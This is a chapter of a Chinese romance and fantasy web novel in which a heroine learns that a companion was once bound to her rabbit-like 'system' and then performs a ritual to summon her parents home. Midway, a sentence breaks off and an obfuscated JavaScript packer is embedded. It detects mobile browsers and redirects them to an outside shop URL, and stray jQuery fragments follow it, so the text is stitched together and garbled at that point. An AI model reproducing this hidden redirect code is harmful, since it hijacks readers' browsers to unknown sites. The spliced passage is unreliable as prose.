43. 第四十三章
作品:《毛绒绒的遗愿清单》 “我…”谢临洲一时语塞,说不出话来,最后只是微微勾了勾嘴角:“太久了,我忘记了。”
他忽然向前倾了倾身子,拉近了两个人之间的距离。顾明舒能闻到他身上淡淡的沐浴露气息,那是她喜欢的味道。
“明舒。”谢临洲的声音压得很低,像是在分享一个只属于他们两个人的秘密,“我是雪球的前任宿主。”
说完他立刻退了回去,谢临洲耸耸肩,扯出一个无奈的笑:“这很奇怪对吧?”
顾明舒没说话,她原本只是随口一问,雪球提了一嘴,她就顺带问问,权当开个玩笑。可谢临洲现在的反应,怎么看都不像是什么无关紧要的往事。
“谢临洲,你不对劲。”顾明舒直勾勾地盯着谢临洲。
谢临洲下意识眨了眨眼睛,语速比平时快了不少:“怎么可能,你想多了。”
顾明舒确定里面绝对有问题,谢临洲一撒谎就爱眨眼睛,像是眼睛在替他逃跑,语气会激动起来,想显得自然却适得其反。
她摇摇头语气肯定:“我没想多,你心虚时会眨眼睛,语气会急促。”
顾明舒盯着他的眼睛,目光诚恳得让谢临洲无处可躲。
“这里面有什么?是不是和我有关?”顾明舒顿了顿,放软了语气,“是的话,你说出来我们一起解决,我难道不是你的朋友吗?”
“我…”谢临洲的笑容僵在脸上。
那是他人生最狼狈的时刻,车祸,濒死,和系统谈判破裂,被关进黑漆漆的系统仓库。
他不知道自己还算不算人,自己的身体是不是已经烧成了灰,那个暗害他的人,是不是正在他的葬礼上假惺惺地掉眼泪。
他唯一能做的就是四处奔走,企图找到一条生路,最后他终于挤进了新手礼包,哪怕变成一只兔子,但起码他确定他还活着。
他威胁系统不要说出自己的身份,想保住最后一点尊严。他与顾明舒合作,但只是权宜之计,没有必要告诉合作人他的一切,他如此告诉自己。
但谢临洲预料错了,他开始恐惧,恐惧顾明舒发现,他不只是一个因为家族纷争而意外与她相遇的倒霉蛋。
他还是一个敏感多疑、会抓住他人软肋进行威胁、会算计、会伪装的危险人物。
况且顾明舒已经因为他被绑架过,虽然最后平安无事。
这样的人,她会怎么想?
她会不会觉得,他另有所图?他别有用心?会不会像他那些所谓家人一样,在他转身之后,投来厌恶、防备的目光?
谢临洲张了张嘴,声音低沉:“我怕你觉得我是一个坏人。”
他忽然觉得有什么东西从身体里被抽走了,那些在心底压了许久的、沉甸甸的东西,顺着这句话流了出去,他如释重负。
顾明舒满头问号,感觉自己和谢临洲不在一个频道,怎么就到坏人了?
“停停停!怎么扯到这里的?你也没干什么吧?”顾明舒扭头看看雪球,雪球一脸懵地回望过来。
一人一兔,满脸呆滞。啊?老兄,你道德感这么强的吗?顾明舒有些迟疑,突然想起谢临洲曾说她法外狂徒。
坏了,道德洼地竟是我自己。
谢临洲愣了一下:“我和雪球谈判的时候,威胁它。如果它不配合暴露我的身份,我就想办法毁掉系统,还恐吓它,如果你知道它能把人变成兔子,就会把它赶出去,想掩饰我的身份。”
“呃…”顾明舒斟酌了一下措辞,“谈判不是很正常吗?”
“你突然变成一只兔子,被塞进一个什么系统仓库里,正常人都会慌吧?”顾明舒语气理所当然,“你不想暴露身份,不是人之常情吗?”
她在心里默默补了一句:而且你也没藏住啊。
“这点事情没这么严重啊!”
“我不想影响我在你心里的形象,我的一些家人…”谢临洲苦笑一下。
“不会是谢景渊一家吧?”
谢临洲点点头。
“你听他们放屁!”顾明舒抢道,“就算我不知道你是什么样的人,谢景渊我还不知道吗?”顾明舒翻了个白眼,“一个能把流浪狗打成重伤再假惺惺救助的人,他说的话能信?”
谢临洲心如擂鼓,他试探道:“你觉得我是什么样的人?”
顾明舒沉思片刻:“人帅心善?能力强,不然你也不会年纪轻轻就当上总裁了?表面看起来闷闷的,私底下却很有趣。”
谢临洲心中雀跃,顾明舒的话落在他心里,像一颗种子落进了春天的泥土里,软绵绵的,痒酥酥的,他笑道:“那就好。”
窗外暮色渐沉,橘红色的光从窗帘缝隙里漏进来,把两个人的影子拉长。顾明舒抱着雪球站起身,准备告别。上楼梯前,她忽然回头看了一眼。
谢临洲还在那里,逆着光,看不清表情。
她心里那股奇怪的感觉又冒了出来。谢临洲……是这么注重形象的人吗?因为怕她觉得他是坏人,紧张成那个样子?
顾明舒张了张嘴,想问什么,又觉得不知道怎么开口。最后只是说了句“早点休息”,上楼梯离开。
她轻轻呼出一口气,把思绪拉回正事上来。现在最要紧的是接父母回来。爸妈还在异世界做任务,她不能干等着。
“雪球,”她轻声问,“道具还能用吗?”
雪球却没有回答,它窝在顾明舒怀里打哈欠,困得神思恍惚,迷茫地嗯了一声。顾明舒笑了一下,等了那么久,不急于这一时。
一夜好梦,顾明舒再次醒来,雪球蜷缩在她手边,睡得正香甜。
顾明舒轻手轻脚地离开卧室,楼下谢临洲刚刚结束晨跑,气息还没完全恢复平稳,头发微微汗湿,听到顾明舒的脚步,抬头对她笑了一下。
顾明舒的目光落在谢临洲脸上,她心跳一滞,心情格外的好,与此同时心中的疑惑也越来越多。
雪球迷迷瞪瞪地飞过来,落在顾明舒怀里,它强打起精神,献宝似的给顾明舒看一页聊天记录。
前辈:任务已经在收尾阶段,两人状况良好,正准备回家,只是缺少坐
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401271|199079||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
标。
1111:前辈,这个道具可以当坐标用吗?
雪球详细描述了道具的使用说明。
前辈:可以,你宿主运气很不错,明天下午五点可以尝试,小心,有被带到这个世界的风险。
1111:谢谢前辈!
顾明舒的眼睛一下子亮了。她如获至宝般把雪球捧在手心里,声音都忍不住拔高:“宝宝!离了你我可怎么办啊!你怎么这么厉害!”
雪球被她晃得晕乎乎的,但嘴角翘得老高,小爪子叉着腰,得意地哼哼了两声。
她心中又惊喜又担忧,这样真的不是违规操作吗?雪球不会被处罚吧?
顾明舒犹豫了起来,担忧地问道:“这样真的没问题吗?你不会被惩罚吗?”
雪球愣了一下,迟疑道:“可以吧?规定也没说不行。”
顾明舒深深地怀疑起这个系统的性质。这玩意儿真的是正规组织吗?怎么感觉像个草台班子?
算了,顾明舒一咬牙,干了!搏一搏,单车变摩托!
她忐忑不安地去了谢临洲的庄园,谢临洲嘱托管家好好招待她后,便进了书房再也没有出来,似乎有什么急事要处理。
顾明舒不甚在意,在管家的带领下参观了整个庄园,体验了一把有钱人的生活。
她坐在遮阳伞下喝着果汁,望着湖面发呆,爸妈即将回来,她现在反而充满了惆怅不安。
接下来,她该怎么做?继续任务,会加速雪球离开,要放弃宠物殡葬师这个职业吗?顾明舒眼中满是挣扎,她已经走到这一步,实在不甘心。
“顾小姐,时间快到了。”管家提醒道。
即将五点,顾明舒深吸一口气准备迎接父母回家。
她来到专门准备的房间,管家已经按照她的要求将房间清空,只剩下光洁的深色木地板和四扇朝南的落地窗。
她蹲在地上,按照那位系统前辈的指示,在地面画下精密复杂的阵图。
法阵线条复杂,层层叠叠,轻轻一动便可能前功尽弃。即使她曾经练习过多次,此时也不敢有丝毫大意。
终于,法阵完成了,顾明舒将毛绒铃铛放在法阵中央,黑色的笔触像是被注入了生命,从中心开始,一圈一圈地亮起来。
整个法阵像是被点燃的星盘,光芒从地面升腾而起,在空气中散落无数细碎的光点,缓缓旋转。
谢临洲紧张地盯着顾明舒,心跳如擂鼓。
顾明舒则死死盯着光芒越来越强的法阵,攥紧了手里的油锯,内心祈祷一切顺利。
光芒越来越强盛,几乎要将整个房间淹没,刺得人睁不开眼睛。
一阵清脆的铃响,顾明舒精神一震,光芒忽然向内坍缩,消失,像一朵花收拢了花瓣,法阵中隐隐出现两个人影。
他们身着广袖长袍,衣袂在尚未完全消散的光芒中轻轻飘动。一个人影纤细一些,手里托着一只古朴的丹炉,炉身隐隐泛着暗金色的光泽。另一个人影身形高大,手里提着一把长刀,刀锋冷冽如霜。

